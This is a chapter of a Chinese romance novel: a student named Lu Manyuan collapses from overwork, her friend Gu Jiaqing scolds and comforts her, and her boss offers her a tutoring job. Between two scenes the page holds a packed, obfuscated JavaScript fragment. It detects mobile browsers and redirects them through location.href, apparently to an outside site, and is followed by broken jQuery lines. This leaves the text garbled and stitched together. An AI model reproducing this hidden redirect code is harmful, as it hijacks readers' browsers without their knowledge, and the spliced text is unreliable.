窗外的夜空墨色浓重,月亮高挂在天上,很快又被偏移的云层遮盖只剩一层朦胧的光。
陆满愿的毛巾搭在肩上,擦过的头发还在往下滴水。
她照例打开了群聊,入眼就看到里面顾嘉清几人刷严肃谴责表情包控诉陆满愿近期脱离小组的行为,发的表情包千奇百怪,看得陆满愿没忍住笑出了声。
她随手发了张我什么都没看见的表情包后,群聊里很快就弹出了张齐商刚发出来的照片。
那张照片应该是抓拍的,合照里,几个人正在乐园餐厅吃东西。谁也没察觉到镜头,以至于当时每个人的行为虽各有不同导致了画面有些好笑,但却莫名融洽。
不觉间,陆满愿的视线落在了坐在最后面的谢祈漾身上。他神情懒懒,支着头正在往外看。
而他的正对面,傅挽欢双手平放在桌面上,毫不掩饰的视线落在了谢祈漾的身上,哪怕只是一张侧脸,也能从那弯了的眼角看出傅挽欢当时的心情。
陆满愿说不上来是什么心情,只是望着那张合照久了,心里有些酸涩。
陆满愿重新切换了界面,打开谢祁漾昨天发给自己的题型解析,等摸索拆解后,又找了一些相类似的题型埋头计算。
时间一点一点流逝,陆满愿不知道自己在书桌前坐了多久。
她最近的体力消耗太大了,以至于到了夜色最浓的时候,陆满愿丝毫没察觉到半开的窗子还在不停往里透风。
湿了的头发还没来得及吹干,浓烈的困倦感就已经先令她撑不住直接趴在桌上睡着了...
第二天陆满愿再起床的时候,就感觉自己有些昏昏沉沉的,连接着整个背脊往下到腰部的地方都泛着酸胀的感觉。
但她来不及多想随便收拾了一下就赶往了荒野。
直到时间指向下午一点人流量开始减少,陆满愿才得以喘息。她一点都不想吃饭,身上越演越烈的酸疼感令她只想找个地方休息。
陆满愿趴在桌子上,感受到自己呼出的气息变得越来越滚烫。她的眼皮越来越重,彻底睡着前,陆满愿听到有人在叫自己。
声音模糊而又遥远。
陆满愿再醒来的时候,发现自己正躺在顶层休息间的床上。彼时,夏谒正懒洋洋地斜靠在沙发上无聊的翻着杂志。
“终于醒了?”瞧见她醒来,咬在嘴里没点着的烟动了动。
他起身走到床前,将旁边一杯先冲好的药递到她手边:“医生已经给你开了药,一日三餐记得吃。”
“麻烦你了。”
陆满愿刚把药喝完将杯子放到一旁,休息间的就门被人猛地推开。顾嘉清和谢祈漾几个人闯了进来。
陆满愿张了张嘴,对突然出现的几个人有些没反应过来:“你们怎么过来了?”
没记错的话,面前的这几个人今天都各有各的事情要做。
何荆呼吸还有些发喘,没好气道:“来看看你把自己折腾成什么样了。”
齐商皱眉,肘击了下何荆:“何荆。”
顾嘉清直奔陆满愿,抬手就去探陆满愿的额头,等确定体温降下来了才松了一口气:“夏叔叔说你发烧了,没事吧?”
“再晚点发现,她脑袋上都能烤番薯了。”不顾陆满愿的眼神暗示,夏谒一边说着,一边将一旁的水杯拿走。
临到门口时,他又回头看了自己一眼,意有所指:“你这小孩是真不要命了。”
夏谒身为她的老板又是成年人,所以对待很多事情细节上的变化都更会加敏锐。也因此,他比其他人包括谢祈漾都更早猜出了她最近的情况。
“老板!”陆满愿看过去,意思很明显。
夏谒耸了下肩,“行,我等会再过来。”
门被夏谒拉开,而原本还站在最后面始终一言不发的谢祈漾也跟着往外走。
休息室的门被关闭前,他回过头来最后看了一眼,刚好和陆满愿的视线撞上。
谢祈漾脸上的表情很淡,当那双眼里没了笑容的时候,便能很明显的察觉到他情绪的变化。
仅一眼,陆满愿就感到莫名有些心虚。她不知道该说些什么,好在谢祈漾的视线只是停了几秒,很快便移开了。快的就像是陆满愿的一场错觉。
陆满愿抓着被子的手一紧,眼睫颤了下。
而谢祈漾一走,剩下的齐商和何荆也没有继续多呆,又提醒了几句后才起身往外走,给明显有话要说的两个女生留了空间。
待到房门被重新关上,顾嘉清依旧没有开口再说话。只是抿着唇,表情算不上好看。
陆满愿主动拉了下顾嘉清的手,安慰道:“真没事,休息会就好了。”
“没事的话,你今天就不会劳累过度晕倒在这了。”
顾嘉清将自己的手从陆满愿那抽了出来,没带情绪的询问却让陆满愿感觉到了内里更深的慌张。
她就这么亲眼看着顾嘉清动作轻缓地帮自己掖了下身上的被子。而后才看向陆满愿,一字一顿说得清晰。
“为什么宁愿把自己搞得那么累都不来找我?如果不是夏叔叔告诉我们,如果不是你今天支撑不住晕倒了,你是不是还打算就这么过着?”
“陆满愿,你想没想过自己的前途,想没想过自己的身体?”
“又想没想过…”
“我是你的朋友?”
顾嘉清连着问了很多,问到最后那句的时候,她的眼里早就浸满了难过。
顾嘉清的话就像是一个千斤重的东西砸落在了陆满愿心口的位置。她望着顾嘉清,想说的话哽在了喉间,而舌尖也开始泛着越来越浓的苦意。
顾嘉清的头埋进手里,她的声音闷在里面,声音缓缓而长。
“我很心疼你啊,满满。”
...
夏谒刚走出房间没多久,谢祈漾就跟了过来。他半靠着窗户双臂环胸,开门见山道:“有事?”
谢祈漾站定在夏谒的面前,目光短暂的落在了窗外不停打上沙滩的海浪。
这是个充满自由气息的地方,但来到这里的人,却并不都是为了来放松的。
他没有收回视线,只是状作不经意地问了句:“小舅舅,小初这次的考试是不是又没合格?”
夏初晓,夏谒刚上三年级的女儿,目前暂住在谢祈漾家里。
夏谒刚想去拿酒杯的手一顿,回头再看向谢祈漾时,笑骂了句:“你小子。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585976|205262||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
…
陆满愿在荒野直接呆到快天黑,才在顾嘉清的强烈要求下上了她的车。
窗外风景不停流动,入眼碧蓝的海一望无尽。陆满愿看得出神,直到顾嘉清叫了下她的名字。
她回头看了眼,疑惑道:“怎么了?”
“满满,其实你缺钱的话,我可以给你的。”
顾嘉清在此之前其实很早就有过这个打算了,只是碍于怕陆满愿会对此多想才一放再放。
她从没主动去调查过陆满愿家里的情况,以至于包括之前关于陆满愿妈妈的事情也是在班级里散播开了后才知道的。
顾嘉清不想这么做,因为这会让她觉得自己在不尊重陆满愿。所以很多事情,陆满愿愿意说她就听,不愿意那就等。
至于陆满愿为什么要这么拼命她不清楚,但顾嘉清明白不能再这么继续放任不管下去。
另一边,陆满愿也没想过顾嘉清会跟自己说这些,一时没反应过来都忘了回她。
见状,顾嘉清以为自己说错话了,连忙解释。
她语速很快,说话都有些磕磕巴巴的,丝毫看不出平日里在社交场中游刃有余的样子。
“我不是那个意思...我就是...”
“诶呀...干什么嘛,这嘴巴。”
说到最后,连顾嘉清自己都给说不耐烦了,她抬手刚要去抓头发,却被陆满愿突然凑过来的动作打了个措手不及。
陆满愿学着上次顾嘉清抱着自己的动作,一下接着一下轻轻拍在她的肩膀上:“我明白你的意思。”
陆满愿放开了顾嘉清,紧随而来的另一句话让她眼里一热。
只听见陆满愿说:“我不是不拿你当朋友,只是太想和你做永远的好朋友了。”
说着,陆满愿的眼尾弯了一下,语气轻柔:“别担心,今天这种情况不会再发生了。以后如果我实在撑不住了一定会找你的,好吗?”
顾嘉清吸了吸鼻子,小拇指弯了下:“你保证?”
陆满愿勾上她的,盖章:“我保证。”
...
当天晚上,陆满愿收拾好一切准备睡觉的时候就接到了夏谒的电话。
接通的瞬间,夏谒的声音很快就传了过来。
“你还记得当初我同意你来荒野时提的要求?”
陆满愿抓紧了话筒,有些不安。
她记得的。
当初夏谒之所以最终同意让她兼职,很大部分原因是自己曾跟他保证过一定会平衡好学习和生活,做好时间规划,绝不能让这些事情影响到工作。
“老板,我保证不会再发生今天的情况导致影响荒野的工作。再给我一次机会…”
“成吗?”
话说到最后,陆满愿的声音已经比原先轻了很多。
“在你手里抓了那么多事情的情况下,你现在能保证,那以后呢?”
“你还是个学生,别最后钱没赚到还因小失大了。”
陆满愿一时无言。
电话那头传来了一声叹息,而后夏谒的声音才继续传了过来。
“帮我女儿补课,工资另算。两份工作加起来钱不会少,干吗?”